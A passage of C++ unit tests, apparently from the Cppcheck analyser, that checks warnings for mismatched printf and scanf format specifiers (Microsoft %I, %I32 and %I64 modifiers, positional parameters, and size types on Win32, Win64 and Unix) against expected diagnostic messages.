TEST_PRINTF_WARN_AKA_CPP(\"%Ix\", \"size_t\", \"std::ssize_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%Ix\", \"size_t\", \"std::ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%Ix\", \"size_t\", \"std::intmax_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%Ix\", \"size_t\", \"std::uintmax_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%Ix\", \"size_t\", \"std::intptr_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%Ix\", \"size_t\", \"std::uintptr_t\", \"unsigned long\", \"unsigned long long\");\n\n TEST_PRINTF_WARN(\"%I64u\", \"unsigned __int64\", \"bool\");\n TEST_PRINTF_WARN(\"%I64u\", \"unsigned __int64\", \"char\");\n TEST_PRINTF_WARN(\"%I64u\", \"unsigned __int64\", \"signed char\");\n TEST_PRINTF_WARN(\"%I64u\", \"unsigned __int64\", \"unsigned char\");\n TEST_PRINTF_WARN(\"%I64u\", \"unsigned __int64\", \"signed short\");\n TEST_PRINTF_WARN(\"%I64u\", \"unsigned __int64\", \"unsigned short\");\n TEST_PRINTF_WARN(\"%I64u\", \"unsigned __int64\", \"signed int\");\n TEST_PRINTF_WARN(\"%I64u\", \"unsigned __int64\", \"unsigned int\");\n TEST_PRINTF_WARN(\"%I64u\", \"unsigned __int64\", \"signed long\");\n TEST_PRINTF_WARN(\"%I64u\", \"unsigned __int64\", \"unsigned long\");\n TEST_PRINTF_WARN(\"%I64u\", \"unsigned __int64\", \"signed long long\");\n TEST_PRINTF_NOWARN(\"%I64u\", \"unsigned __int64\", \"unsigned long long\");\n TEST_PRINTF_WARN(\"%I64u\", \"unsigned __int64\", \"float\");\n TEST_PRINTF_WARN(\"%I64u\", \"unsigned __int64\", \"double\");\n TEST_PRINTF_WARN(\"%I64u\", \"unsigned __int64\", \"long double\");\n TEST_PRINTF_WARN(\"%I64u\", \"unsigned __int64\", \"void *\");\n TEST_PRINTF_WARN_AKA_WIN32(\"%I64u\", \"unsigned __int64\", \"size_t\", \"unsigned long\");\n TEST_PRINTF_WARN_AKA(\"%I64u\", \"unsigned __int64\", \"ssize_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA(\"%I64u\", \"unsigned __int64\", \"ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_WIN32(\"%I64u\", \"unsigned __int64\", \"unsigned ptrdiff_t\", \"unsigned long\");\n TEST_PRINTF_WARN_AKA(\"%I64u\", \"unsigned __int64\", \"intmax_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_WIN32(\"%I64u\", \"unsigned __int64\", \"uintmax_t\", \"unsigned long\");\n TEST_PRINTF_WARN_AKA(\"%I64u\", \"unsigned __int64\", \"intptr_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_WIN32(\"%I64u\", \"unsigned __int64\", \"uintptr_t\", \"unsigned long\");\n TEST_PRINTF_WARN_AKA_CPP_WIN32(\"%I64u\", \"unsigned __int64\", \"std::size_t\", \"unsigned long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%I64u\", \"unsigned __int64\", \"std::ssize_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%I64u\", \"unsigned __int64\", \"std::ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%I64u\", \"unsigned __int64\", \"std::intmax_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_CPP_WIN32(\"%I64u\", \"unsigned __int64\", \"std::uintmax_t\", \"unsigned long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%I64u\", \"unsigned __int64\", \"std::intptr_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_CPP_WIN32(\"%I64u\", \"unsigned __int64\", \"std::uintptr_t\", \"unsigned long\");\n\n TEST_PRINTF_WARN(\"%I64x\", \"unsigned __int64\", \"bool\");\n TEST_PRINTF_WARN(\"%I64x\", \"unsigned __int64\", \"char\");\n TEST_PRINTF_WARN(\"%I64x\", \"unsigned __int64\", \"signed char\");\n TEST_PRINTF_WARN(\"%I64x\", \"unsigned __int64\", \"unsigned char\");\n TEST_PRINTF_WARN(\"%I64x\", \"unsigned __int64\", \"signed short\");\n TEST_PRINTF_WARN(\"%I64x\", \"unsigned __int64\", \"unsigned short\");\n TEST_PRINTF_WARN(\"%I64x\", \"unsigned __int64\", \"signed int\");\n TEST_PRINTF_WARN(\"%I64x\", \"unsigned __int64\", \"unsigned int\");\n TEST_PRINTF_WARN(\"%I64x\", \"unsigned __int64\", \"signed long\");\n TEST_PRINTF_WARN(\"%I64x\", \"unsigned __int64\", \"unsigned long\");\n //TODO TEST_PRINTF_WARN(\"%I64x\", \"unsigned __int64\", \"signed long long\");\n TEST_PRINTF_NOWARN(\"%I64x\", \"unsigned __int64\", \"unsigned long long\");\n TEST_PRINTF_WARN(\"%I64x\", \"unsigned __int64\", \"float\");\n TEST_PRINTF_WARN(\"%I64x\", \"unsigned __int64\", \"double\");\n TEST_PRINTF_WARN(\"%I64x\", \"unsigned __int64\", \"long double\");\n TEST_PRINTF_WARN(\"%I64x\", \"unsigned __int64\", \"void *\");\n //TODO TEST_PRINTF_WARN(\"%I64x\", \"unsigned __int64\", \"size_t\");\n TEST_PRINTF_WARN_AKA_WIN32(\"%I64x\", \"unsigned __int64\", \"ssize_t\", \"signed long\");\n TEST_PRINTF_WARN_AKA_WIN32(\"%I64x\", \"unsigned __int64\", \"ptrdiff_t\", \"signed long\");\n //TODO TEST_PRINTF_NOWARN(\"%I64x\", \"unsigned __int64\", \"unsigned __int64\");\n // TODO TEST_PRINTF_WARN(\"%I64x\", \"unsigned __int64\", \"__int64\");\n TEST_PRINTF_WARN_AKA_WIN32(\"%I64x\", \"unsigned __int64\", \"unsigned ptrdiff_t\", \"unsigned long\");\n TEST_PRINTF_WARN_AKA_WIN32(\"%I64x\", \"unsigned __int64\", \"intmax_t\", \"signed long\");\n TEST_PRINTF_WARN_AKA_WIN32(\"%I64x\", \"unsigned __int64\", \"uintmax_t\", \"unsigned long\");\n TEST_PRINTF_WARN_AKA_WIN32(\"%I64x\", \"unsigned __int64\", \"intptr_t\", \"signed long\");\n TEST_PRINTF_WARN_AKA_WIN32(\"%I64x\", \"unsigned __int64\", \"uintptr_t\", \"unsigned long\");\n TEST_PRINTF_WARN_AKA_CPP_WIN32(\"%I64x\", \"unsigned __int64\", \"std::size_t\", \"unsigned long\");\n TEST_PRINTF_WARN_AKA_CPP_WIN32(\"%I64x\", \"unsigned __int64\", \"std::ssize_t\", \"signed long\");\n TEST_PRINTF_WARN_AKA_CPP_WIN32(\"%I64x\", \"unsigned __int64\", \"std::ptrdiff_t\", \"signed long\");\n TEST_PRINTF_WARN_AKA_CPP_WIN32(\"%I64x\", \"unsigned __int64\", \"std::intmax_t\", \"signed long\");\n TEST_PRINTF_WARN_AKA_CPP_WIN32(\"%I64x\", \"unsigned __int64\", \"std::uintmax_t\", \"unsigned long\");\n TEST_PRINTF_WARN_AKA_CPP_WIN32(\"%I64x\", \"unsigned __int64\", \"std::intptr_t\", \"signed long\");\n TEST_PRINTF_WARN_AKA_CPP_WIN32(\"%I64x\", \"unsigned __int64\", \"std::uintptr_t\", \"unsigned long\");\n\n TEST_PRINTF_WARN(\"%I64d\", \"__int64\", \"bool\");\n TEST_PRINTF_WARN(\"%I64d\", \"__int64\", \"signed char\");\n TEST_PRINTF_WARN(\"%I64d\", \"__int64\", \"unsigned char\");\n TEST_PRINTF_WARN(\"%I64d\", \"__int64\", \"void *\");\n // TODO TEST_PRINTF_WARN(\"%I64d\", \"__int64\", \"size_t\");\n TEST_PRINTF_WARN_AKA_WIN32(\"%I64d\", \"__int64\", \"intmax_t\", \"signed long\");\n TEST_PRINTF_WARN_AKA_WIN32(\"%I64d\", \"__int64\", \"ssize_t\", \"signed long\");\n TEST_PRINTF_WARN_AKA_WIN32(\"%I64d\", \"__int64\", \"ptrdiff_t\", \"signed long\");\n TEST_PRINTF_NOWARN(\"%I64d\", \"__int64\", \"__int64\");\n\n TEST_PRINTF_WARN(\"%I32u\", \"unsigned __int32\", \"bool\");\n TEST_PRINTF_WARN(\"%I32u\", \"unsigned __int32\", \"char\");\n TEST_PRINTF_WARN(\"%I32u\", \"unsigned __int32\", \"signed char\");\n TEST_PRINTF_WARN(\"%I32u\", \"unsigned __int32\", \"unsigned char\");\n TEST_PRINTF_WARN(\"%I32u\", \"unsigned __int32\", \"signed short\");\n TEST_PRINTF_WARN(\"%I32u\", \"unsigned __int32\", \"unsigned short\");\n TEST_PRINTF_WARN(\"%I32u\", \"unsigned __int32\", \"signed int\");\n TEST_PRINTF_NOWARN(\"%I32u\", \"unsigned __int32\", \"unsigned int\");\n TEST_PRINTF_WARN(\"%I32u\", \"unsigned __int32\", \"signed long\");\n TEST_PRINTF_WARN(\"%I32u\", \"unsigned __int32\", \"unsigned long\");\n TEST_PRINTF_WARN(\"%I32u\", \"unsigned __int32\", \"signed long long\");\n TEST_PRINTF_WARN(\"%I32u\", \"unsigned __int32\", \"unsigned long long\");\n TEST_PRINTF_WARN(\"%I32u\", \"unsigned __int32\", \"float\");\n TEST_PRINTF_WARN(\"%I32u\", \"unsigned __int32\", \"double\");\n TEST_PRINTF_WARN(\"%I32u\", \"unsigned __int32\", \"long double\");\n TEST_PRINTF_WARN(\"%I32u\", \"unsigned __int32\", \"void *\");\n TEST_PRINTF_WARN_AKA(\"%I32u\", \"unsigned __int32\", \"size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA(\"%I32u\", \"unsigned __int32\", \"ssize_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA(\"%I32u\", \"unsigned __int32\", \"ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA(\"%I32u\", \"unsigned __int32\", \"unsigned ptrdiff_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA(\"%I32u\", \"unsigned __int32\", \"intmax_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA(\"%I32u\", \"unsigned __int32\", \"uintmax_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA(\"%I32u\", \"unsigned __int32\", \"intptr_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA(\"%I32u\", \"unsigned __int32\", \"uintptr_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%I32u\", \"unsigned __int32\", \"std::size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%I32u\", \"unsigned __int32\", \"std::ssize_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%I32u\", \"unsigned __int32\", \"std::ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%I32u\", \"unsigned __int32\", \"std::intmax_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%I32u\", \"unsigned __int32\", \"std::uintmax_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%I32u\", \"unsigned __int32\", \"std::intptr_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%I32u\", \"unsigned __int32\", \"std::uintptr_t\", \"unsigned long\", \"unsigned long long\");\n\n TEST_PRINTF_WARN(\"%I32x\", \"unsigned __int32\", \"bool\");\n TEST_PRINTF_WARN(\"%I32x\", \"unsigned __int32\", \"char\");\n TEST_PRINTF_WARN(\"%I32x\", \"unsigned __int32\", \"signed char\");\n TEST_PRINTF_WARN(\"%I32x\", \"unsigned __int32\", \"unsigned char\");\n TEST_PRINTF_WARN(\"%I32x\", \"unsigned __int32\", \"signed short\");\n TEST_PRINTF_WARN(\"%I32x\", \"unsigned __int32\", \"unsigned short\");\n //TODO TEST_PRINTF_WARN(\"%I32x\", \"unsigned __int32\", \"signed int\");\n TEST_PRINTF_NOWARN(\"%I32x\", \"unsigned __int32\", \"unsigned int\");\n TEST_PRINTF_WARN(\"%I32x\", \"unsigned __int32\", \"signed long\");\n TEST_PRINTF_WARN(\"%I32x\", \"unsigned __int32\", \"unsigned long\");\n TEST_PRINTF_WARN(\"%I32x\", \"unsigned __int32\", \"signed long long\");\n TEST_PRINTF_WARN(\"%I32x\", \"unsigned __int32\", \"unsigned long long\");\n TEST_PRINTF_WARN(\"%I32x\", \"unsigned __int32\", \"float\");\n TEST_PRINTF_WARN(\"%I32x\", \"unsigned __int32\", \"double\");\n TEST_PRINTF_WARN(\"%I32x\", \"unsigned __int32\", \"long double\");\n TEST_PRINTF_WARN(\"%I32x\", \"unsigned __int32\", \"void *\");\n TEST_PRINTF_WARN_AKA(\"%I32x\", \"unsigned __int32\", \"size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA(\"%I32x\", \"unsigned __int32\", \"ssize_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA(\"%I32x\", \"unsigned __int32\", \"ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA(\"%I32x\", \"unsigned __int32\", \"unsigned ptrdiff_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA(\"%I32x\", \"unsigned __int32\", \"intmax_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA(\"%I32x\", \"unsigned __int32\", \"uintmax_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA(\"%I32x\", \"unsigned __int32\", \"intptr_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA(\"%I32x\", \"unsigned __int32\", \"uintptr_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%I32x\", \"unsigned __int32\", \"std::size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%I32x\", \"unsigned __int32\", \"std::ssize_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%I32x\", \"unsigned __int32\", \"std::ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%I32x\", \"unsigned __int32\", \"std::intmax_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%I32x\", \"unsigned __int32\", \"std::uintmax_t\", \"unsigned long\", \"unsigned long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%I32x\", \"unsigned __int32\", \"std::intptr_t\", \"signed long\", \"signed long long\");\n TEST_PRINTF_WARN_AKA_CPP(\"%I32x\", \"unsigned __int32\", \"std::uintptr_t\", \"unsigned long\", \"unsigned long long\");\n }\n\n void testPosixPrintfScanfParameterPosition() { // #4900 - No support for parameters in format strings\n check(\"void foo() {\"\n \" int bar;\"\n \" printf(\\\"%1$d\\\", 1);\"\n \" printf(\\\"%1$d, %d, %1$d\\\", 1, 2);\"\n \" scanf(\\\"%1$d\\\", &bar);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int bar;\\n\"\n \" printf(\\\"%1$d\\\");\\n\"\n \" printf(\\\"%1$d, %d, %4$d\\\", 1, 2, 3);\\n\"\n \" scanf(\\\"%2$d\\\", &bar);\\n\"\n \" printf(\\\"%0$f\\\", 0.0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) printf format string requires 1 parameter but only 0 are given. [wrongPrintfScanfArgNum]\\n\"\n \"[test.cpp:4:3]: (warning) printf: referencing parameter 4 while 3 arguments given [wrongPrintfScanfParameterPositionError]\\n\"\n \"[test.cpp:5:3]: (warning) scanf: referencing parameter 2 while 1 arguments given [wrongPrintfScanfParameterPositionError]\\n\"\n \"[test.cpp:6:3]: (warning) printf: parameter positions start at 1, not 0 [wrongPrintfScanfParameterPositionError]\\n\"\n \"\", errout_str());\n }\n\n\n void testMicrosoftPrintfArgument() {\n check(\"void foo() {\\n\"\n \" size_t s;\\n\"\n \" ptrdiff_t p;\\n\"\n \" __int32 i32;\\n\"\n \" unsigned __int32 u32;\\n\"\n \" __int64 i64;\\n\"\n \" unsigned __int64 u64;\\n\"\n \" printf(\\\"%Id %Iu %Ix\\\", s, s, s);\\n\"\n \" printf(\\\"%Id %Iu %Ix\\\", p, p, p);\\n\"\n \" printf(\\\"%I32d %I32u %I32x\\\", i32, i32, i32);\\n\"\n \" printf(\\\"%I32d %I32u %I32x\\\", u32, u32, u32);\\n\"\n \" printf(\\\"%I64d %I64u %I64x\\\", i64, i64, i64);\\n\"\n \" printf(\\\"%I64d %I64u %I64x\\\", u64, u64, u64);\\n\"\n \"}\", dinit(CheckOptions, $.portability = true, $.platform = Platform::Type::Win32A));\n ASSERT_EQUALS(\"[test.cpp:8:5]: (portability) %Id in format string (no. 1) requires 'ptrdiff_t' but the argument type is 'size_t {aka unsigned long}'. [invalidPrintfArgType_sint]\\n\"\n \"[test.cpp:9:5]: (portability) %Iu in format string (no. 2) requires 'size_t' but the argument type is 'ptrdiff_t {aka signed long}'. [invalidPrintfArgType_uint]\\n\"\n \"[test.cpp:9:5]: (portability) %Ix in format string (no. 3) requires 'size_t' but the argument type is 'ptrdiff_t {aka signed long}'. [invalidPrintfArgType_uint]\\n\"\n \"[test.cpp:10:5]: (portability) %I32u in format string (no. 2) requires 'unsigned __int32' but the argument type is '__int32 {aka signed int}'. [invalidPrintfArgType_uint]\\n\"\n \"[test.cpp:11:5]: (portability) %I32d in format string (no. 1) requires '__int32' but the argument type is 'unsigned __int32 {aka unsigned int}'. [invalidPrintfArgType_sint]\\n\"\n \"[test.cpp:12:5]: (portability) %I64u in format string (no. 2) requires 'unsigned __int64' but the argument type is '__int64 {aka signed long long}'. [invalidPrintfArgType_uint]\\n\"\n \"[test.cpp:13:5]: (portability) %I64d in format string (no. 1) requires '__int64' but the argument type is 'unsigned __int64 {aka unsigned long long}'. [invalidPrintfArgType_sint]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" size_t s;\\n\"\n \" ptrdiff_t p;\\n\"\n \" __int32 i32;\\n\"\n \" unsigned __int32 u32;\\n\"\n \" __int64 i64;\\n\"\n \" unsigned __int64 u64;\\n\"\n \" printf(\\\"%Id %Iu %Ix\\\", s, s, s);\\n\"\n \" printf(\\\"%Id %Iu %Ix\\\", p, p, p);\\n\"\n \" printf(\\\"%I32d %I32u %I32x\\\", i32, i32, i32);\\n\"\n \" printf(\\\"%I32d %I32u %I32x\\\", u32, u32, u32);\\n\"\n \" printf(\\\"%I64d %I64u %I64x\\\", i64, i64, i64);\\n\"\n \" printf(\\\"%I64d %I64u %I64x\\\", u64, u64, u64);\\n\"\n \"}\", dinit(CheckOptions, $.portability = true, $.platform = Platform::Type::Win64));\n ASSERT_EQUALS(\"[test.cpp:8:5]: (portability) %Id in format string (no. 1) requires 'ptrdiff_t' but the argument type is 'size_t {aka unsigned long long}'. [invalidPrintfArgType_sint]\\n\"\n \"[test.cpp:9:5]: (portability) %Iu in format string (no. 2) requires 'size_t' but the argument type is 'ptrdiff_t {aka signed long long}'. [invalidPrintfArgType_uint]\\n\"\n \"[test.cpp:9:5]: (portability) %Ix in format string (no. 3) requires 'size_t' but the argument type is 'ptrdiff_t {aka signed long long}'. [invalidPrintfArgType_uint]\\n\"\n \"[test.cpp:10:5]: (portability) %I32u in format string (no. 2) requires 'unsigned __int32' but the argument type is '__int32 {aka signed int}'. [invalidPrintfArgType_uint]\\n\"\n \"[test.cpp:11:5]: (portability) %I32d in format string (no. 1) requires '__int32' but the argument type is 'unsigned __int32 {aka unsigned int}'. [invalidPrintfArgType_sint]\\n\"\n \"[test.cpp:12:5]: (portability) %I64u in format string (no. 2) requires 'unsigned __int64' but the argument type is '__int64 {aka signed long long}'. [invalidPrintfArgType_uint]\\n\"\n \"[test.cpp:13:5]: (portability) %I64d in format string (no. 1) requires '__int64' but the argument type is 'unsigned __int64 {aka unsigned long long}'. [invalidPrintfArgType_sint]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" size_t s;\\n\"\n \" int i;\\n\"\n \" printf(\\\"%I\\\", s);\\n\"\n \" printf(\\\"%I6\\\", s);\\n\"\n \" printf(\\\"%I6x\\\", s);\\n\"\n \" printf(\\\"%I16\\\", s);\\n\"\n \" printf(\\\"%I16x\\\", s);\\n\"\n \" printf(\\\"%I32\\\", s);\\n\"\n \" printf(\\\"%I64\\\", s);\\n\"\n \" printf(\\\"%I%i\\\", s, i);\\n\"\n \" printf(\\\"%I6%i\\\", s, i);\\n\"\n \" printf(\\\"%I6x%i\\\", s, i);\\n\"\n \" printf(\\\"%I16%i\\\", s, i);\\n\"\n \" printf(\\\"%I16x%i\\\", s, i);\\n\"\n \" printf(\\\"%I32%i\\\", s, i);\\n\"\n \" printf(\\\"%I64%i\\\", s, i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (warning) 'I' in format string (no. 1) is a length modifier and cannot be used without a conversion specifier. [invalidLengthModifierError]\\n\"\n \"[test.cpp:5:5]: (warning) 'I' in format string (no. 1) is a length modifier and cannot be used without a conversion specifier. [invalidLengthModifierError]\\n\"\n \"[test.cpp:6:5]: (warning) 'I' in format string (no. 1) is a length modifier and cannot be used without a conversion specifier. [invalidLengthModifierError]\\n\"\n \"[test.cpp:7:5]: (warning) 'I' in format string (no. 1) is a length modifier and cannot be used without a conversion specifier. [invalidLengthModifierError]\\n\"\n \"[test.cpp:8:5]: (warning) 'I' in format string (no. 1) is a length modifier and cannot be used without a conversion specifier. [invalidLengthModifierError]\\n\"\n \"[test.cpp:9:5]: (warning) 'I32' in format string (no. 1) is a length modifier and cannot be used without a conversion specifier. [invalidLengthModifierError]\\n\"\n \"[test.cpp:10:5]: (warning) 'I64' in format string (no. 1) is a length modifier and cannot be used without a conversion specifier. [invalidLengthModifierError]\\n\"\n \"[test.cpp:11:5]: (warning) 'I' in format string (no. 1) is a length modifier and cannot be used without a conversion specifier. [invalidLengthModifierError]\\n\"\n \"[test.cpp:12:5]: (warning) 'I' in format string (no. 1) is a length modifier and cannot be used without a conversion specifier. [invalidLengthModifierError]\\n\"\n \"[test.cpp:13:5]: (warning) 'I' in format string (no. 1) is a length modifier and cannot be used without a conversion specifier. [invalidLengthModifierError]\\n\"\n \"[test.cpp:14:5]: (warning) 'I' in format string (no. 1) is a length modifier and cannot be used without a conversion specifier. [invalidLengthModifierError]\\n\"\n \"[test.cpp:15:5]: (warning) 'I' in format string (no. 1) is a length modifier and cannot be used without a conversion specifier. [invalidLengthModifierError]\\n\"\n \"[test.cpp:16:5]: (warning) 'I32' in format string (no. 1) is a length modifier and cannot be used without a conversion specifier. [invalidLengthModifierError]\\n\"\n \"[test.cpp:17:5]: (warning) 'I64' in format string (no. 1) is a length modifier and cannot be used without a conversion specifier. [invalidLengthModifierError]\\n\", errout_str());\n\n // ticket #5264\n check(\"void foo(LPARAM lp, WPARAM wp, LRESULT lr) {\\n\"\n \" printf(\\\"%Ix %Ix %Ix\\\", lp, wp, lr);\\n\"\n \"}\\n\", dinit(CheckOptions, $.portability = true, $.platform = Platform::Type::Win64));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(LPARAM lp, WPARAM wp, LRESULT lr) {\\n\"\n \" printf(\\\"%Ix %Ix %Ix\\\", lp, wp, lr);\\n\"\n \"}\\n\", dinit(CheckOptions, $.portability = true, $.platform = Platform::Type::Win32A));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(UINT32 a, ::UINT32 b, Fred::UINT32 c) {\\n\"\n \" printf(\\\"%d %d %d\\\", a, b, c);\\n\"\n \"};\\n\", dinit(CheckOptions, $.portability = true, $.platform = Platform::Type::Win32A));\n ASSERT_EQUALS(\"[test.cpp:2:5]: (portability) %d in format string (no. 1) requires 'int' but the argument type is 'UINT32 {aka unsigned int}'. [invalidPrintfArgType_sint]\\n\"\n \"[test.cpp:2:5]: (portability) %d in format string (no. 2) requires 'int' but the argument type is 'UINT32 {aka unsigned int}'. [invalidPrintfArgType_sint]\\n\", errout_str());\n\n check(\"void foo(LPCVOID a, ::LPCVOID b, Fred::LPCVOID c) {\\n\"\n \" printf(\\\"%d %d %d\\\", a, b, c);\\n\"\n \"};\\n\", dinit(CheckOptions, $.portability = true, $.platform = Platform::Type::Win32A));\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning) %d in format string (no. 1) requires 'int' but the argument type is 'const void *'. [invalidPrintfArgType_sint]\\n\"\n \"[test.cpp:2:5]: (warning) %d in format string (no. 2) requires 'int' but the argument type is 'const void *'. [invalidPrintfArgType_sint]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" SSIZE_T s = -2;\\n\" // In MSVC, SSIZE_T is available in capital letters using #include \n \" int i;\\n\"\n \" printf(\\\"%zd\\\", s);\\n\"\n \" printf(\\\"%zd%i\\\", s, i);\\n\"\n \" printf(\\\"%zu\\\", s);\\n\"\n \"}\", dinit(CheckOptions, $.portability = true, $.platform = Platform::Type::Win32A));\n ASSERT_EQUALS(\"[test.cpp:6:5]: (portability) %zu in format string (no. 1) requires 'size_t' but the argument type is 'SSIZE_T {aka signed long}'. [invalidPrintfArgType_uint]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" SSIZE_T s = -2;\\n\" // In MSVC, SSIZE_T is available in capital letters using #include \n \" int i;\\n\"\n \" printf(\\\"%zd\\\", s);\\n\"\n \" printf(\\\"%zd%i\\\", s, i);\\n\"\n \" printf(\\\"%zu\\\", s);\\n\"\n \"}\", dinit(CheckOptions, $.portability = true, $.platform = Platform::Type::Win64));\n ASSERT_EQUALS(\"[test.cpp:6:5]: (portability) %zu in format string (no. 1) requires 'size_t' but the argument type is 'SSIZE_T {aka signed long long}'. [invalidPrintfArgType_uint]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" SSIZE_T s = -2;\\n\" // Under Unix, ssize_t has to be written in small letters. Not Cppcheck, but the compiler will report this.\n \" int i;\\n\"\n \" printf(\\\"%zd\\\", s);\\n\"\n \" printf(\\\"%zd%i\\\", s, i);\\n\"\n \" printf(\\\"%zu\\\", s);\\n\"\n \"}\", dinit(CheckOptions, $.portability = true, $.platform = Platform::Type::Unix64));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" typedef SSIZE_T ssize_t;\\n\" // Test using typedef\n \" ssize_t s = -2;\\n\"\n \" int i;\\n\"\n \" printf(\\\"%zd\\\", s);\\n\"\n \" printf(\\\"%zd%i\\\", s, i);\\n\"\n \" printf(\\\"%zu\\\", s);\\n\"\n \"}\", dinit(CheckOptions, $.portability = true, $.platform = Platform::Type::Win64));\n ASSERT_EQUALS(\"[test.cpp:7:5]: (portability) %zu in format string (no. 1) requires 'size_t' but the argument type is 'SSIZE_T {aka signed long long}'. [invalidPrintfArgType_uint]\\n\", errout_str());\n\n }\n\n void testMicrosoftScanfArgument() {\n check(\"void foo() {\\n\"\n \" size_t s;\\n\"\n \" ptrdiff_t p;\\n\"\n \" __int32 i32;\\n\"\n \" unsigned __int32 u32;\\n\"\n \" __int64 i64;\\n\"\n \" unsigned __int64 u64;\\n\"\n \" scanf(\\\"%Id %Iu %Ix\\\", &s, &s, &s);\\n\"\n \" scanf(\\\"%Id %Iu %Ix\\\", &p, &p, &p);\\n\"\n \" scanf(\\\"%I32d %I32u %I32x\\\", &i32, &i32, &i32);\\n\"\n \" scanf(\\\"%I32d %I32u %I32x\\\", &u32, &u32, &u32);\\n\"\n \" scanf(\\\"%I64d %I64u %I64x\\\", &i64, &i64, &i64);\\n\"\n \" scanf(\\\"%I64d %I64u %I64x\\\", &u64, &u64, &u64);\\n\"\n \"}\", dinit(CheckOptions, $.portability = true, $.platform = Platform::Type::Win32A));\n ASSERT_EQUALS(\"[test.cpp:8:5]: (portability) %Id in format string (no. 1) requires 'ptrdiff_t *' but the argument type is 'size_t * {aka unsigned long *}'. [invalidScanfArgType_int]\\n\"\n \"[test.cpp:9:5]: (portability) %Iu in format string (no. 2) requires 'size_t *' but the argument type is 'ptrdiff_t * {aka signed long *}'. [invalidScanfArgType_int]\\n\"\n \"[test.cpp:9:5]: (portability) %Ix in format string (no. 3) requires 'size_t *' but the argument type is 'ptrdiff_t * {aka signed long *}'. [invalidScanfArgType_int]\\n\"\n \"[test.cpp:10:5]: (portability) %I32u in format string (no. 2) requires 'unsigned __int32 *' but the argument type is '__int32 * {aka signed int *}'. [invalidScanfArgType_int]\\n\"\n \"[test.cpp:10:5]: (portability) %I32x in format string (no. 3) requires 'unsigned __int32 *' but the argument type is '__int32 * {aka signed int *}'. [invalidScanfArgType_int]\\n\"\n \"[test.cpp:11:5]: (portability) %I32d in format string (no. 1) requires '__int32 *' but the argument type is 'unsigned __int32 * {aka unsigned int *}'. [invalidScanfArgType_int]\\n\"\n \"[test.cpp:12:5]: (portability) %I64u in format string (no. 2) requires 'unsigned __int64 *' but the argument type is '__int64 * {aka signed long long *}'. [invalidScanfArgType_int]\\n\"\n \"[test.cpp:12:5]: (portability) %I64x in format string (no. 3) requires 'unsigned __int64 *' but the argument type is '__int64 * {aka signed long long *}'. [invalidScanfArgType_int]\\n\"\n \"[test.cpp:13:5]: (portability) %I64d in format string (no. 1) requires '__int64 